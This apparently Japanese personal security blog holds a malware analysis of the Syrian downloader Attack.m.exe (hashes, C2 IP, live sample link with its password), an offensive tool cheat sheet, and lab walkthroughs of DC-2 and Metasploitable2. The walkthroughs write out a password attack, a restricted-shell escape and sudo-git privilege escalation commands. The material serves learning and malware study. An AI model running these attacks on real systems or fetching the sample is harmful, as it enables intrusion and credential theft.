Capture The Frog

かえるぴょこぴょこw

MENU

Attack.m.exeの解析

Attack.m.exeとは、下のサイトから入手したマルウェアで、このマルウェアの解析をしていこうと思う。

シリアの内戦で使われたマルウェアらしい。

f:id:QWERTYtan:20210811182125p:plain 

基本的な情報

Windows7で動く

・ハッシュ

MD5
4141842e30edaf429309ea6bc2374ef5
SHA-256
85dd1f03eaf0bc5cc5505a4338615bcb67ae438166e05ed83656e2cb36ce8a33
SHA1
6eacbfd34a8ca27da54ba7b82910d0dfd11b1c9d

 

syrianmalware.com

 

ダウンロードリンク
https://syrianmalware[.]com/samples/4141842e30edaf429309ea6bc2374ef5.zip

このzipファイルは、パスワード付きであり、当該パスワードはinfectedである。

 

静的解析

zipinfo実行結果

f:id:QWERTYtan:20210811151723p:plain
 

zipファイルの解凍
7z x 4141842e30edaf429309ea6bc2374ef5.zip

パスワードを求められるので、infectedと入力
解凍

unzipコマンドではヘッダーが足りないので解凍ができませんでした。

以降は、解凍後のファイルに行った処理結果とします。

 

fileコマンドの実行結果

f:id:QWERTYtan:20210811150333p:plain

PE32(32ビットの実行ファイル)である。

同様に、16進数を見ると先頭の2バイトが、
4D 5A MZ
であることから、windowsの実行ファイルだとわかります。

 

このファイルのハッシュ値
MD5
4141842e30edaf429309ea6bc2374ef5
SHA-256
85dd1f03eaf0bc5cc5505a4338615bcb67ae438166e05ed83656e2cb36ce8a33
SHA1
6eacbfd34a8ca27da54ba7b82910d0dfd11b1c9d

得られたハッシュ値をもとに既知のマルウェアデータベースで検索をする。

 

www.virustotal.com


検索した結果、このファイルは過去に分析されたことがあり、各社のアンチウイルスソフトも大半がこのファイルがウイルスであると認定していました。

 

stringsコマンドの実行結果

このstringsコマンド・flossから分かることしては、このファイルは分析を防ぐ難読化が行われていないことがわかります。

stringsコマンドの実行結果で、特にこのウイルスの特徴が現れた点

Microsoft.VisualBasic
Ya_Houssen
get_Computer
get_Application
get_User
get_WebServices
get_GetInstance
get_Default
get_Settings
get_Network
GetHashCode
GetType
port
user32.dll
avicap32.dll
kernel32.dll
mscoree.dll
GetWindowText
TcpClient
DownloadFile
31.9.48.7
ping
Close

ビットのプログラムを動かすのに必要

軽く分類すると、
<このマルウェアを実行した環境の情報を取得>
get_Computer
get_Application
get_User
get_WebServices
get_GetInstance
get_Default
get_Network

<サーバーと通信しようとしている>
31.9.48.7
port
DownloadFile
TcpClient
Close

<このマルウェアの直接的な動作>

WindwsAPI機能を使うために必要

user32.dll

avicap32.dll

 

32ビットのプログラムを動かすのに必要

kernel32.dll

 

下で詳しく説明
mscoree.dll

 

このファイルの元の名前?
Ya Houssen.exe

 

言葉に起こすと
・ファイルバージョンは1.0.0.0。
・このファイルの元の名前はYa Houssen.exe
・2014年に作られた。
・作ったパソコンの名前はYa Houssen
・このプログラムはVisual Basicで作られた。言語はc#
・このマルウェアは次の攻撃の足がかりとするための’ダウンローダー’であると推定される。
・mscoree.dllがこのファイルによってインポートされ、エキスポートはされない。
インターネットエクスプローラーによって他のマルウェアをダウンロードすると推定される
・31.9.48.7に接続しようとしている
という4つのことがわかりました。

 

 

マルウェアの分類>
ファジーハッシュによる分類
ssdeepコマンド実行結果
384:BweSa82wbKffUGeuTLffAnYE2R46q+LRFBTf71F8lucSEV:Ke63b2UAHXNll6lum
おなじファジーハッシュを持つマルウェアの存在は確認できませんでした。

インポートハッシュによる分類
imphash:"f34d5f2d4577ed6d9ceec516c1f5a744"
同じインポートハッシュを含むマルウェアは多く発見できましたが、
これは「該当マルウェアが、VisualBasicで作られた」・「Windows 7を攻撃対象としている」という点で一致するのだと推定されるため
同じ攻撃グループでつくられたとは考えにくいという結論に至りました。

 

動的解析

wiresharkとINETsimをつかって、このマルウェアの挙動を調べた結果
DNSサーバにクエリはありませんでした。
しかし、31.9.48.7と1550番(TCPで接続をしようとしていました。

f:id:QWERTYtan:20210811114822p:plain

 

このサーバーについての考察はここにまとめることにしました。

qwertytan.hatenablog.jp

公開鍵暗号方式の通信を行おうとしていて、
PublicKeyToken=b77a5c561934e089
となっていました。

mscoree.dllがインポートされていました。

f:id:QWERTYtan:20210811114945p:plain

 


mscoree.dllはエクスポート関数_CorExeMain関数で構成されていて、
そしてこのmscoree.dllは,「Microsoft .NET Runtime Execution Engine」という名称を持っています。
結論を言えば,今回のサンプル・プログラムは,OSにより直接実行されるのではなく,.NETランタイム実行エンジンにより実行される「.NET対応Cプログラム」といえます。
Cプログラムを無理やり、.NETに落とし込んだ感じだと言えます。
次のアセンブリと逆アセンブリで、ここのプログラムを調べていきたいと思います。


_CorExeMain関数の詳細↓

docs.microsoft.com

 

xtech.nikkei.com

サンドボックス環境で実際に動かしてみた

やはりダウンローダーだった。

 WireSharkはこんな感じで、

この直前に大量のQUICプロトコルでのペイロードがあり、

その通信後のなんとか読めるHTTPプロトコルの中身

(QUICプロトコルとは、2015年にGoogleがつくった

UDPを利用した独自の暗号化をした通信プロトコル)

GET /c/msdownload/update/software/secu/2016/01/windows6.1-kb3115858-x86-express_412c556b94af12aaab9b7805e3829ccff553ab28.cab HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Wed, 20 Jan 2016 22:49:10 GMT

User-Agent: Microsoft BITS/7.5

Host: au.download.windowsupdate.com

 

HTTP/1.1 200 OK

Cache-Control: public,max-age=172800

Content-Type: application/vnd.ms-cab-compressed

Last-Modified: Wed, 20 Jan 2016 22:49:10 GMT

Accept-Ranges: bytes

ETag: "0b790c6d453d11:0"

Server: Microsoft-IIS/10.0

X-Powered-By: ASP.NET

Content-Length: 91069

Date: Wed, 11 Aug 2021 07:09:40 GMT

Connection: keep-alive

X-CCC: JP

X-CID: 2

ちょっと待てよ。

msdownload/../sec?

これってセキュリティ更新プログラムだよねと思い、検索してみると

http://download[.]windowsupdate.com/c/msdownload/update/software/secu/2016/01/windows6[.]1-kb3115858-x86-express_412c556b94af12aaab9b7805e3829ccff553ab28[.]cab

(↑押すと、ダウンロードされてしまうので無効化してあります。)

更新プログラムでした。

 たぶんこのサイトを作っている人たちがリンクをそこだけ書き換えたのだと思います。

実際の挙動としては「ダウンローダー」であっていると確信しています。

 

 

実際にダウンロードされるのは...

ちょっとがっかりな感じでしたが、

 

調べてみると、実際にダウンロードされるのは、

md5:a9e6f5d4c5996ff1a067d4c5f9ade821

 

です。ここに詳しく書いています。(追記qwertytan.hatenablog.jp

  

まとめ

 

 今回、Attack.m.exeに対して分かったことをざっくりまとめると

・このマルウェアは「ダウンローダー」である。

・シリアのサーバーとTCP通信を試みている。

 です。

31.9.48.7は他のマルウェアでも使用されていたので、ここに詳しくまとめています。

 

 

自分的良く使うツールのチートシート

サーバー関連

 

FTPサーバー

File Transport Protocol

 

接続

ftp サーバーip

ユーザー名とパスワードを入力

全てのファイルの表示

ls -a

サーバーのファイルの中身を表示

get ファイル名 -

サーバーのファイルをダウンロード

get ファイル名

サーバーの複数のファイルをダウンロード

mget ファイル名(ワイルドカード

サーバーにファイルをアップロード

put ファイル名

サーバーの複数のファイルをアップロード

mput ファイル名(ワイルドカード

chmod,delete,mkdirの使い方は、普通通り

 

 

 

ポートスキャン関連

nmap

 

nmap 192.168.0.1

IPv6での指定方法

nmap -6 2607:f0d0:1002:51::4

複数を直書きで指定

nmap 192.168.0.1 192.168.1.1

範囲で指定

nmap 192.168.0.1-254

ドメインで指定

nmap scanme.nmap.org

プレフィックス記法で指定

nmap 192.168.1.0/24

特定のIPを除外したい場合

nmap –exclude 192.168.1.1

 

ポート決め打ち

nmap 192.168.1.1 -p 21

ポートレンジ(範囲)で指定

nmap 192.168.1.1 -p 21-100

TCP,UDP毎の指定

nmap 192.168.1.1 -p U:53,T:21-25,80

全ポートのスキャン(0、9100番を除く

nmap 192.168.1.1 -p-

サービス名を指定してのスキャン

サービスのデフォルトのポートなので、変更しているとスキャンされない点に注意が必要

nmap 192.168.1.1 -p http,https

 

nmap -sS …..

ステルス・スキャンの一種、3ウェイハンドシェイクを完了しないためログに記録しないことが多いことを悪用

-O … OSの種類の特定

-A … OSの種類とそのバージョンを検知する事が出来ます。

–script= … スクリプトを明示的に指定してスキャンします。

 

 

 

解析関連

gdb

バイナリーコードの表示/.elfなどに使う

gdb ファイル名

set disassembly-flavor intel

disas main

 

strings

elfファイル(バイナリファイルの可読部分を読む

strings -a ファイル名

 

zipinfo

.zipのメタデータを表示

zipinfo zipファイル

 

パスワード関連

cewl

ターゲットとなるwebサイトからワードリストを作成するrudyのプログラム

johnのパスワードリストとして使う

使い方

$cewl -w 名前.txt http://サイト名

 

セキュリティツール

WPScan

WordPress Security Scanner

WordpressCMSのサイトに使う

インターネット経由で外からwordpressやインストールされているプラグイン、テーマの脆弱性を発見してくれる。

フルパス、ディレクトリリスティングもしてくれる

$wpscan —url http://サイト名

豆知識

対象のサイトからログインする方法

http://サイト名/wp-admin

事前に知ったユーザー名とパスワードでログイン

 

 

msfconsole

msf>connect ip:ポート

ポートなどのクイックスキャン

↑nmapで事足りる

 

msf>use エクスプロイト名

Exploitの指定

msf> set PAYLOAD ペイロード

payloadの指定

msf>set LHOST ローカルホストのip

msf>exploit

エクスプロイトの実行

 

searchsploit

あらゆるサービスの脆弱性を表示する。

searchsploit “キーワード”

 

ネットワーク関連

arpspoof

ARPスプーフィング

wiresharkと併用

arpspoof -t ターゲットのip localhostのip

arpspoof -t localhostのip ターゲットのip

上記の2つ必要

wireshark

Air系 

airmon-ng check kill

airmonに干渉してしまうプロセスをkill

airmon-ng start wlan0

モニターモードをオンにする

airodump-ng start wlan0mon

受信範囲にある無線LANのip,BSSID,APを一覧表示

airodump-ng —channel 対象のAPのチャンネル —bssid 対象のBSSID -w 名前.cap wlan0mon

対象を指定して、パケットを集める

上と同時並行で

aircrack-ng 名前.cap

終わったら、

sudo systemctl restart NetworkManager.service

 

 

horst

複数のチャンネルの強度やノード数を確認するためのツール

接続できていない色んなチャンネルを見るために、モニターモードに移行する必要がある

sudo airmon-ng check kill

sudo airmon-ng start wlan0

horst  -i wlan0mon

で見れる。

終わらせかた、

airmon-ng stop wlan0mon

systemctl restart NetworkManager.service

 

traceroute

指定したノードまでの経路を調べる

自分のグローバルipも分かる

traceroute google.com

 

anonsurf

海外のサーバーを経由して通信する

anonsurf start

自分のグローバルipを確認

anonsurf myip

 

dsniff

arpspoofで、流れてきたパスワードやユーザー名を整形してくれる

dsbiff -c

arpspoofと併用する時に必要

dsniff -i

インターフェースを指定

DC-2 Write Up

 virtual boxでDC-2を起動させて、ターミナルで

 

┌──(root💀snowyowl)-[~] 
└─# netdiscover 11 Captured ARP Req/Rep packets, from 7 hosts. Total size: 516
IP At MAC Address Count Len MAC Vendor / Hostname
------------------------------------------------------------
192.168.3.13 08:00:27:a8:0d:dc 1 60 PCS Systemtechnik GmbH
192.168.3.1 30:f7:72:be:b9:b9 4 168 >Hon Hai Precision Ind. Co.,Ltd. 192.168.3.2 10:6f:3f:e6:28:40 1 60 BUFFALO.INC
192.168.3.7 44:09:b8:8c:f4:72 1 60 Salcomp (Shenzhen) CO., LTD. 192.168.3.14 9e:29:3c:88:76:24 1 42 Unknown vendor
192.168.3.15 70:bc:10:6a:f6:c1 2 84 Microsoft Corporation 192.168.10.1 30:f7:72:be:b9:b9 1 42 Hon Hai Precision Ind. Co.,Ltd.

virtualboxは、PCS Systemtechnik GmbHなので、DC-2のローカルipは、192.168.3.13である。

 

nmapでこのipを確認する。

ここで使っているオプション

-sSは、ステルススキャンで3ハンドシェイクのACKパケットを返さない。

-Aは、OSとその細かいバージョンの特定

-p-は、全ポート指定(0と9100を除く

 

┌──(root💀snowyowl)-[~] 
└─# nmap -sS -A 192.168.3.13 -p- Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-27 20:15 JST Nmap scan report for dc-2 (192.168.3.13) Host is up (0.00060s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION 80/tcp
open http Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.7.10
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: DC-2 – Just another WordPress site 7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey: | 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
| 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
| 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519) MAC Address: 08:00:27:A8:0D:DC (Oracle VirtualBox virtual NIC) Device type: general purpose Running:
Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details:
Linux 3.2 - 4.9 Network Distance:
1 hop Service Info: OS: Linux;
CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.60 ms dc-2 (192.168.3.13) OS and Service detection performed.
Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds

 

このnmapの結果から、

・このサーバーはwebサーバーである。(Apache2.4.10、CMSwordpressが使われている。

・普通22番ポートがsshのはずなのだが、これは7744番ポートに設定されている。

というこの2つがわかる。

 

webサーバーということで、ブラウザでipを入力すると。。。

f:id:QWERTYtan:20210727235244p:plain

 

ローカルwebサーバーなので、DNSに問い合わせしても、出てこない。

なので、/etc/hostsを書き換える。

 f:id:QWERTYtan:20210727235154p:plain

 

hostsファイルに追記すると、

 

きちんと表示される。f:id:QWERTYtan:20210727235402p:plain

                                                                            

次に、niktoで公開ディレクトリを探る。                                                                                                                                                 


┌──(root💀snowyowl)-[~]
└─# nikto -h http://192.168.3.13
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.3.13
+ Target Hostname:    192.168.3.13
+ Target Port:        80
+ Start Time:         2021-07-27 19:35:47 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: http://dc-2/
+ Uncommon header 'link' found, with multiple values: (<http://dc-2/index.php/wp-json/>; rel="https://api.w.org/",<http://dc-2/>; rel=shortlink,)
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2021-07-27 19:37:12 (GMT9) (85 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

前回のDC-1は、公開ディレクトリが多くあったが、今回は全然ない。

wordpressのログインするディレクトリがわかった。

(/wp-login.php: Wordpress login found

 

webサーバーのApache脆弱性も探すが、目立ったexploitがない。                                                                                                                                                                                                                   

                                                                                                                                                                                                                   

┌──(root💀snowyowl)-[~]
└─# searchsploit "Apache 2.4.10" 
-----------------------------------------------------------------
 Exploit Title      
| Path ----------------------------------------------------------------- Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution
| php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak
| linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service
| multiple/dos/26710.txt
Apache OpenSSL - 'OpenFuck.c' Remote BufferOverflow
| unix/remote/21671.c
Apache OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)
| unix/remote/764.c
Apache OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)
| unix/remote/47080.c
Apache OpenMeetings - '.ZIP' File Directory Traversal
| linux/webapps/39642.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing
| multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal
| unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)
| multiple/remote/6229.txt
-----------------------------------------------------------------
Shellcodes: No Results

 

webサーバーからは、攻められないことがわかったので、CMSから攻めていくことにする。前回のDC-1と同じ流れで、DC-1は、drupalでした。

 

wpsには、wpscanという公式が配布しているセキュリティーツールがあるので、これを使う。

https://ja.wordpress.org/plugins/wpscan/

wpscanには、面白いオプションが多くあるので、

$man wpscan

で色々見てみると参考になる。

今回のオプション

--url URLで、対象のURLを指定する。

-e uで、ユーザー名を出力。



┌──(root💀snowyowl)-[~]
└─# wpscan --url http://dc-2/ -e u                                   
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.18
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://dc-2/ [192.168.3.13]
[+] Started: Tue Jul 27 21:08:38 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://dc-2/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03).
 | Found By: Rss Generator (Passive Detection)
 |  - http://dc-2/index.php/feed/, https://wordpress.org/?v=4.7.10
 |  - http://dc-2/index.php/comments/feed/, https://wordpress.org/?v=4.7.10

[+] WordPress theme in use: twentyseventeen
 | Location: http://dc-2/wp-content/themes/twentyseventeen/
 | Last Updated: 2021-07-22T00:00:00.000Z
 | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 2.8
 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <=================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] jerry
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue Jul 27 21:08:44 2021
[+] Requests Done: 58
[+] Cached Requests: 6
[+] Data Sent: 14.674 KB
[+] Data Received: 514.805 KB
[+] Memory used: 160.348 MB
[+] Elapsed time: 00:00:06

・ユーザーは、admin・jerry・tomの 3つ

が分かったので、この3つのアカウントのユーザー名とパスワードを探す。

 

dc-2のwebページのflagのところに、cewlを使うといいと書いているので、

cewlコマンドを使う。

cewlは、webページの文字からランダムに単語を生み出す。

種つきパスワードジェネレータ。



┌──(root💀snowyowl)-[~]
└─# cewl -w dc2-password.txt http://dc-2/

 

cewlで作ったパスワードテキストを指定して、3つのアカウントのパスワードを

探す。

-P パスワードファイルで、辞書攻撃。

 

┌──(root💀snowyowl)-[~]
└─# cewl -w dc2-password.txt http://dc-2/

cewlで作ったパスワードテキストを指定して、3つのアカウントのパスワードを 探す。 -P パスワードファイルで、辞書攻撃。

┌──(root💀snowyowl)-[~]
└─# wpscan --url http://dc-2/ -P dc2-passworrd.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.18
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://dc-2/ [192.168.3.13]
[+] Started: Tue Jul 27 21:10:03 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://dc-2/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03).
 | Found By: Rss Generator (Passive Detection)
 |  - http://dc-2/index.php/feed/, https://wordpress.org/?v=4.7.10
 |  - http://dc-2/index.php/comments/feed/, https://wordpress.org/?v=4.7.10

[+] WordPress theme in use: twentyseventeen
 | Location: http://dc-2/wp-content/themes/twentyseventeen/
 | Last Updated: 2021-07-22T00:00:00.000Z
 | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 2.8
 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - 
Time: 00:00:00 <========> (137 / 137) 100.00% Time: 00:00:00 [i] No Config Backups Found. [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs -
Time: 00:00:00 <=========> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] admin | Found By: Rss Generator (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] jerry | Found By: Wp Json Api (Aggressive Detection) | - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] tom | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] Performing password attack on Xmlrpc against 3 user/s [SUCCESS] - jerry / adipiscing [SUCCESS] - tom / parturient Trying admin /
log Time: 00:01:26 <========> (646 / 1121) 57.62% ETA: ??:??:?? [!] Valid Combinations Found: | Username: jerry, Password: adipiscing | Username: tom, Password: parturient [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Tue Jul 27 21:11:38 2021 [+] Requests Done: 801 [+] Cached Requests: 49 [+] Data Sent: 360.183 KB [+] Data Received: 427.544 KB [+] Memory used: 243.969 MB [+] Elapsed time: 00:01:34

2つのアカウントのパスワードが分かった。

・ | Username: jerry, Password: adipiscing
  | Username: tom, Password: parturient

これを使って、DC-2のwordpress管理者画面にログインする。

さっきのniktoでわかったログインディレクトリに移動して、ログインする。

f:id:QWERTYtan:20210727235519p:plain


flag2を確認するとまだflagがあることがわかる。

次は、nmapで調べてわかったsshでDC-2に接続する。

ここで、


    $ssh tom@192.168.3.13

としても、接続できない。

このサーバーのsshポートは7744なので、ポートを指定する必要がある。


    $ssh tom@192.168.3.13 -p 7744

パスワードをきかれるが、さっき分かったパスワードを入力する。

 

lsコマンドで表示すると、flag3.txtを発見。

catコマンドで開こうとしても開けない

-rbashでコマンドに制限がかかっているからである。

普段の環境では、chshコマンドで-rbashからbashに移れるのだが、DC-2では移れない。

そのため、

 


    BASH_CMDS[a]=/bin/sh;a
    /bin/bash
    export PATH=PATH:/bin:/sbin:/usr/bin:/usr/sbin

 

を使って、bashに移行する。

flag3.txtを表示すると、f:id:QWERTYtan:20210727235239p:plain

 



となる。

flag4

f:id:QWERTYtan:20210727235452p:plain

 

どうやら、管理者権限になってほしいらしい。

管理者権限になろうと、sudoコマンドなどを入力してもうまくいかない。

そのため、

sudo git -p help config

を使う。

インタラクティブなシステムシェルを生成することによって、今回のような制限された環境から抜け出せる。

https://gtfobins.github.io/gtfobins/git/

sudoコマンドが使える環境であれば、使えるので汎用性高そう。

rootに移って、catコマンドで表示する。

f:id:QWERTYtan:20210727235150p:plain

 







Metasploitable2へのvsftpdの既知の脆弱性を利用した侵入

┌─[✗]─[root@anon]─[~]
└──╼ #netdiscover

 

Currently scanning: 192.168.84.0/16 | Screen View: Unique Hosts

2 Captured ARP Req/Rep packets, from 2 hosts. Total size: 84
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.100 08:00:27:9b:6b:84 1 42 PCS Systemtechnik GmbH
192.168.56.102 08:00:27:72:d4:54 1 42 PCS Systemtechnik GmbH

┌─[✗]─[root@anon]─[~]
└──╼ #nmap -A 192.168.56.102
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-19 20:09 JST
Nmap scan report for 192.168.56.102
Host is up (0.00028s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.56.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2021-06-19T11:00:10+00:00; -9m36s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
